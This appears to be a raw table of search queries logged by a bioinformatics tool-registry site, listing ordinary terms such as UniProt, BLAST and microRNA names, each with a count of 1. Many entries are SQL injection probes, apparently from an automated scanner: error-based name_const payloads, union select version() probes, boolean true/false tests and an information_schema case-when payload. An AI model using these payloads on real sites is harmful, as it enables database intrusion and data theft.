| blast+-ebi"+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111, |
1 |
| linked data' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| linked data or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| integ"+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+"x"="x |
1 |
| html'99999'+union+select+unhex(hex(version()))+--+'x'='x |
1 |
| linked data99999" union select unhex(hex(version())) -- "x"="x |
1 |
| protein+active+site+residues. |
1 |
| linked data99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| linked data999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| linked data" and "x"="y |
1 |
| representation+rna+dna+sequence+alignment |
1 |
| linked data" and "x"="x |
1 |
| linked data' and 'x'='y |
1 |
| get+genbank+id"+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+"x"="x |
1 |
| linked data' and 'x'='x |
1 |
| linked data and 1>1 |
1 |
| linked data2121121121212.1 |
1 |
| text+mining'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| biochemistry |
1 |
| get+id'+and+1=1 |
1 |
| uniprot+json |
1 |
| database''a=0 |
1 |
| 1'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| uniprot+id"+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+"x"="x |
1 |
| uniprot+id99999"+union+select+unhex(hex(version()))+--+"x"="x |
1 |
| gene+id+conversion |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| protein interaction protein'a=0 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| get+genbank+id'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
1 |
| -4420+union+all+select+57,57--+hved |
1 |
| repeat999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char99999" union select unhex(hex(version())) -- "x"="x |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| ihop'a=0 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char" and "x"="y |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char" and "x"="x |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char' and 'x'='y |
1 |
| protein protein interactions'a=0 |
1 |
| cas |
1 |
| cas'a=0 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char' and 'x'='x |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char and 1>1 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char2121121121212.1 |
1 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char'" |
1 |
| to html |
1 |
| finland |
1 |
| blast two sequences |
1 |
| author id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x'a=0 |
1 |
| html'"+and+"x"="x |
1 |
| maximum'a=0 |
1 |
| genes' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| (select+(case+when+(3710=7967)+then+3710+else+3710*(select+3710+from+information_schema.character_sets)+end)) |
1 |
| get+id''+and+'x'='x |
1 |
| upload'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x'a=0 |
1 |
| g6gfindr |
1 |
| tissue array |
1 |
| fidaxomicin |
1 |
| information protein domains protein function interaction evolution |
1 |
| ebi clustal |
1 |
| pmut |
1 |
| search a collection of pathway maps on metabolism, signal transduction, gene regulation, and cellular processes. |
1 |
| data sources" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,11'" |
1 |
| mmu-mir-146a-5p |
1 |
| simple sequence repeats |
1 |
| mri-29b |
1 |
| mir-146b-5p |
1 |
| upload" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x'a=0 |
1 |
| biogrid |
1 |
| pattern or motif search'a=0 |
1 |
| imaging"'" |
1 |
| this service separates the phylogeny features |
1 |
| imaging"2121121121212.1 |
1 |
| belgian birds |
1 |
| imaging" and 1>1 |
1 |
| imaging"' and 'x'='x |
1 |
| imaging"' and 'x'='y |
1 |
| imaging"" and "x"="x |
1 |
| imaging"" and "x"="y |
1 |
| imaging"999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| imaging"99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| imaging"99999" union select unhex(hex(version())) -- "x"="x |
1 |
| imaging" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| imaging"' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| imaging"" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| search pubmed'" |
1 |
| search pubmed |
1 |
| search pubmed2121121121212.1 |
1 |
| unigene |
1 |
| search pubmed and 1>1 |
1 |
| search pubmed' and 'x'='x |
1 |
| search pubmed' and 'x'='y |
1 |
| search pubmed" and "x"="x |
1 |
| search pubmed" and "x"="y |
1 |
| search pubmed999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| search pubmed99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| search pubmed99999" union select unhex(hex(version())) -- "x"="x |
1 |
| search pubmed or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| search pubmed' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| param1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45) -- /'qicijs<'">jsrsws order by 'as |
1 |
| hsa-mir-125a-5p |
1 |
| author'a=0 |
1 |
| matrix model |
1 |
| matrix model'a=0 |
1 |
| hspa1a |
1 |
| marine biology |
1 |
| structure prediction protein |
1 |
| clustalw ncbi |
1 |
| tropicos |
1 |
| ddjb |
1 |
| emmanouil |
1 |
| niall haslam |
1 |
| soap_input:name:result |
1 |
| cite |
1 |
| keyword search'a=0 |
1 |
| sequences global alignment algorithms |
1 |
| codes |
1 |
| psicquic (hpidb) |
1 |
| optional" and "x"="y |
1 |
| optional" and "x"="x |
1 |
| optional' and 'x'='y |
1 |
| optional' and 'x'='x |
1 |
| optional and 1>1 |
1 |
| optional2121121121212.1 |
1 |
| optional' |
1 |
| 1000' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| 1000" |
1 |
| search an evolving collection of human and mouse open reading frame (orf) clones |
1 |
| search an evolving collection of human and mouse open reading frame (orf) clones'a=0 |
1 |
| searchsimple |
1 |
| bioinformatics.istge.it |
1 |
| data~"'a=0 |
1 |
| email |
1 |
| email'a=0 |
1 |
| 1000' |
1 |
| semantec |
1 |
| abstract |
1 |
| 1000 or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| title2 |
1 |
| 100099999" union select unhex(hex(version())) -- "x"="x |
1 |
| 100099999' union select unhex(hex(version())) -- 'x'='x |
1 |
| 1000999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| 1000" and "x"="y |
1 |
| catalogue |
1 |
| catalogue'a=0 |
1 |
| 1000" and "x"="x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a'" |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a2121121121212.1 |
1 |
| 1000' and 'x'='y |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a and 1>1 |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a' and 'x'='x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a' and 'x'='y |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a" and "x"="x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a" and "x"="y |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a99999" union select unhex(hex(version())) -- "x"="x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
1 |
| www.google.com%2fintl%2fen%2fpolicies%2fterms%2f |
1 |
| 1000' and 'x'='x |
1 |
| 1000 and 1>1 |
1 |
| 10002121121121212.1 |
1 |
| check'" |
1 |
| check |
1 |
| check2121121121212.1 |
1 |
| 1000 |
1 |
| check and 1>1 |
1 |
| check' and 'x'='x |
1 |
| check' and 'x'='y |
1 |
| check" and "x"="x |
1 |
| check" and "x"="y |
1 |
| check999999.1 union select unhex(hex(version())) -- and 1=1 |
1 |
| check99999' union select unhex(hex(version())) -- 'x'='x |
1 |
| check99999" union select unhex(hex(version())) -- "x"="x |
1 |
| check or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
1 |
| check' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
1 |
| 1000'" |
1 |
| predict genes dna sequences'a=0 |
1 |
| and analyze the phylogenetic distribution of one or more eukaryotic domains.99999" union select unhex(hex(version())) -- "x"="x'" |
1 |
| and analyze the phylogenetic distribution of one or more eukaryotic domains.99999" union select unhex(hex(version())) -- "x"="x |
1 |
| rs id |
1 |
| rs id'a=0 |
1 |
| ncbi nucleotide |
1 |
| scientififc name from id |
1 |
| scientififc name from id'a=0 |
1 |
